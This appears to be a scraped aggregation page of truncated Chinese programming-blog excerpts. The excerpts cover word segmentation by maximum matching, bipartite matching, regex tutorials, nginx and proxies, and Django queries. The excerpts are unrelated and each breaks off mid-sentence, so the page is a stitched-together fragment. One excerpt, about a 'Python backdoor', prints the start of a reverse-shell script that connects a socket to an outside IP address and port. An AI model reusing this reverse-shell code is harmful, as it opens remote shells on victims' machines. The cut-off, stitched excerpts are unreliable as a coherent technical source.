最大匹配法:最大匹配是指以词典为依据,取词典中最长单词为第一个次取字数量的扫描串,在词典中进行扫描(为提升扫描效率,还可以跟据字数多少设计多个字典,然后根据字数分别从不同字典中进行扫描).例如:词典中最长词为“中华人民共和国”共7个汉字,则最大匹配起始字数为7个汉字.然后逐字递减,在对应的词典中进行查找. 下面以“我们在野生动物园玩”为例详细说明一下正向与逆向最大匹配方法: 1.正向最大匹配法: 正向即从前往后取词,从7->1,每次减一个字,直到词典命中或剩下1个单字. 第1次:“我们在野生动物

题意: 给定 n个学生 说的 自己 考试排名的 可能范围 确定最多几个人说真话 如果有多种答案,输出字典序最大的那种( 要求字典序最大,所以solve中从最大字典序开始匹配) 思路: 题目给定  点 映射到 数轴的区间 上, 问最多多少点可以成功映射到数轴上 很显然  点就是 x集  , 整个数轴 就是 y集 , 点对应的整个区间就是映射的边 ,所以直接有了一个二分图 #include<iostream> #include<string.h> #include<stdio.h

python用户评论标签匹配的解决方法 这篇文章主要为大家详细介绍了python用户评论标签匹配的解决方法,具有一定的参考价值,感兴趣的小伙伴们可以参考一下 我们观察用户评论发现:属性词往往和情感词伴随出现,原因是用户通常会在描述属性时表达情感,属性是情感表达的对象.还发现:属性词和专用情感词基本都是名词或形容词(形谓词). 算法流程图如下: 评论数据如下: 代码如下: 代码如下:     #encoding=utf-8     #############################  # 

符号"?".""."+"这三个元字符修饰符在Python中都表示重复匹配的模式,即要求匹配的字符串满足重复次数的要求,但具体重复次数要求不同,其中: "?":表示重复0-1次,即匹配字符串可以不出现或最多出现一次,如ab? 会匹配 'a' 或者 'ab': "":表示重复0-n次,即匹配字符串可以不出现或出现多次,最多次数不受限,ab* 会匹配 'a', 'ab', 或者 'a'后面跟随任意个'b': &q

一.加入GeocodeService的Web服务引用 地理编码服务(GeocodeService)是以WCF技术公布的一个Web服务,地图编码服务提供了以一个有效的物理地址在地图上匹配其相应的地图地址(既地理经度和纬度坐标)和以地理经度和纬度坐标进行反向匹配物理地址路径的功能.要使用该服务需加入该服务(http://dev.virtualearth.net/webservices/v1/geocodeservice/GeocodeService.svc)的Web服务引用,例如以下图 二.通过地址

/// <summary> /// 正则双重过滤 /// splitKey1 第一个正则式匹配 /// splitKey2 匹配结果中再次匹配进行替换 /// </summary> /// <param name="content"></param> /// <param name="splitKey1"></param> /// <param name="splitKey2&q

基于对象的跨表查询 基于对象的跨表查询'''正向和反向查询'''# 正向 ----> 关联字段在当前表中,从当前表向外查叫正向# 反向 ---> 关联字段不在当前表中,当当前表向外查叫反向 '''一对一的查询'''# 查询lqz这个人的地址 正向查询按字段author = models.Author.objects.filter(name='qlz').first()print(author.author_detail.addr)   #这样就获取到了地址 # 查询lqz这个人的地址 反向查询

openresty开发系列2--nginx的简单安装,正向.反向代理及常用命令和信号控制介绍 一.nginx的安装下载及编译安装1.Nginx下载:nginx-1.13.0.tar.gz,下载到:/usr/local/src [root@node5 src]# wget http://nginx.org/download/nginx-1.13.0.tar.gztar xf nginx-1.13.0.tar.gz cd nginx-1.13.0./configure --prefix=/usr/l

python正向连接后门 PHITHON 2014 四月 12 00:12   阅读:16670    Python    python, cmd后门, socket     python在linux下的反弹shell代码我相信很多人都见过: import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("59.188.234.64",14575)) os.dup2(s

  正向代理与反向代理[总结]   1.前言 最近工作中用到反向代理,发现网络代理的玩法还真不少,网络背后有很多需要去学习.而在此之前仅仅使用了过代理软件,曾经为了访问google,使用了代理软件,需要在浏览器中配置代理的地址.我只知道有代理这个概念,并不清楚代理还有正向和反向之分,于是赶紧学习一下,补充一下知识.首先弄清楚什么是正向代理,什么是反向代理,然后是二者在实际使用中展示的方式是什么样的,最后总结一下正向代理用来做什么,反向代理可以做什么. 2.正向代理 正向代理类似一个跳板机,代理访

语法 元字符:(pattern) 作用:用于反复匹配的分组 属性$1~$9 如果它(们)存在,用于得到对应分组中匹配到的子串 \1或$1 用于匹配第一个分组中的内容 \2或$2 用于匹配第一个分组中的内容 ... \9或$9 用于匹配第一个分组中的内容 用法示例 var reg = /(A+)((B|C|D)+)(E+)/gi;//该正则表达式有4个分组 //对应关系 //RegExp.$1 <-> (A+) //RegExp.$2 <-> ((B|C|D)+) //RegExp.

正则表达式: [\u2E80-\u9FFF]+$ 匹配所有东亚区的语言  [\u4E00-\u9FFF]+$ 匹配简体和繁体  [\u4E00-\u9FA5]+$ 匹配简体  <input type="text" name="username" onkeyup="value=value.replace([\u4E00-\u9FA5]+$)"> 正则表达式速查表:https://www.jb51.net/shouce/jquery1.8

现在有一道题目,要求利用python中re模块来匹配ip地址,我们应如何着手? 首先能想到的是ip地址是数字,正则表达式是如何匹配数字的呢? \d或[0-9] 对于这个问题,不要一下子上来就写匹配模式,应该一步步分解,把复杂的问题简单化 比如ip地址,我们可以总结一下规律 1. 它是一个字符串 2. 字符串内部是由4个1-3位的数字和3个.组成 3. 数字的范围是0-255 接下来,我们先试一下匹配第1个数字 第一步:尝试匹配192.168.100.123中的192 >>> import

之前在学习爬虫的时候遇到了匹配内容时发现存在换行,这时没法匹配了,后来在网上找到了一种方法,当时懒得记录,今天突然有遇到了这种情况,想想还是在这里记录一下吧. 当时爬取的时csdn首页博客,如下图 看了源代码,发现如果使用<a href="....来爬取的话,这样得到的会有许多其他的网址,并不全是我需要得博文,但是用<div class="title">去匹配后面的又出现了换行,但是换行匹配我又不会.... re.compile()函数的一个标志参数叫re.

Python正则表达式字符集匹配表示是指搜索一个字符,该字符在给定的一个字符的集合中.元字符'['和']'是用于组合起来定义匹配字符集,匹配模式中使用 '['开头,并使用']'结尾来穷举搜索的字符可能出现的集合,注意一个字符集仅用于匹配一个字符,当要字符集匹配多个字符时可以通过定义多个字符集或字符集重复的模式来定义匹配模式. 字符集中的字符可以穷举列出允许的所有字符,也可以通过给出两个起始和终止字符并在中间用 连字符'-' 标记将它们分开,表示从起始字符到终止字符的一系列字符,这一系列字符包含起

最短匹配应用于:假如有一段文本,你只想匹配最短的可能,而不是最长. 例子 比如有一段html片段,'\this is first label\\the second label\',如何匹配出每个a标签中的内容,下面来看下最短与最长的区别. 代码 >>> import re >>> str = '<a>this is first label</a><a>the second label</a>' >>>

re.findall(pattern,string)会搜索所有匹配的字符,返回的是一个列表,获取首个匹配需要re.findall(pattern,string)[0]访问, 但是如果findall没匹配成功则返回空列表,这时用列表下标去访问元素时就会报IndexError: list index out of range. 如: >>>re.findall('abc','abd') [] >>>re.findall('abc','abd')[0] Traceback (

可以用?P<name>的方法给正则匹配的部分命名. 例:要将<字母,数字>的部分命名为test x = "abc <haha,123> test @@" pattern = "(?P<test>\<\w+,\d+\>)" m = re.search(pattern, x) r = m.group("test") print r 输出: <haha,123>

re.S,使 '.'  匹配换行在内的所有字符 >>> pattern=r'ghostwu.com' >>> import re >>> re.findall( pattern, 'ghostwuacom' ) ['ghostwuacom'] >>> re.findall( pattern, 'ghostwubcom' ) ['ghostwubcom'] >>> re.findall( pattern, 'ghost

用正则表达式匹配某个文本模式 1.只取双引号内的值 2.长短匹配模式对比 贪婪模式:     模式r'\"(.*)\" '的意图是匹配被双引号包含的文本,但是这个表达式中*是贪婪的,因此匹配操作会查找最长的可能匹配. 非贪婪模式: 模式r'\"(.*?)\" ' 可以强制匹配算法改成寻找最短的可能匹配. 1)长匹配模式 >>>str_pat = re.compile(r'\"(.*)\"') >>>text2

1. 使用find()方法 >>> text = 'yeah, but no, but yeah, but no, but yeah' >>> text.find('no')10 2. 使用re.match() 对于复杂的匹配需要使用正则表达式和re 模块.为了解释正则表达式的基本原理,假设想匹配数字格式的日期字符串比如11/27/2012 ,可以这样做:>>> text1 = '11/27/2012'>>> text2 = 'Nov